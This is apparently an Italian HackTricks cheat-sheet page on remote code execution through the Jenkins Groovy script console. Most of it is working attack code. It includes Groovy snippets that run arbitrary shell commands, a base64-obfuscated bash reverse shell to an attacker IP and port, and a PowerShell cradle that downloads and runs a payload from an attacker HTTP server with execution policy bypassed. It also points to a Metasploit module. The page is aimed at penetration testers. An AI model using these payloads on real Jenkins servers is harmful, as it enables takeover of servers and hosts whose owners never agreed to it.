Jenkins RCE with Groovy Script

Supporta HackTricks

Jenkins RCE con Groovy Script

Questo è meno rumoroso rispetto a creare un nuovo progetto in Jenkins

  1. Vai a path_jenkins/script

  2. All'interno della casella di testo inserisci lo script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Puoi eseguire un comando usando: cmd.exe /c dir

In linux puoi fare: "ls /".execute().text

Se hai bisogno di usare virgolette e virgolette singole all'interno del testo. Puoi usare """PAYLOAD""" (triple double quotes) per eseguire il payload.

Un altro script groovy utile è (sostituisci [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell in linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell in windows

Puoi preparare un server HTTP con una PS reverse shell e utilizzare Jeking per scaricarlo ed eseguirlo:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Puoi automatizzare questo processo con questo script.

Puoi usare MSF per ottenere una reverse shell:

msf> use exploit/multi/http/jenkins_script_console
Supporta HackTricks

Last updated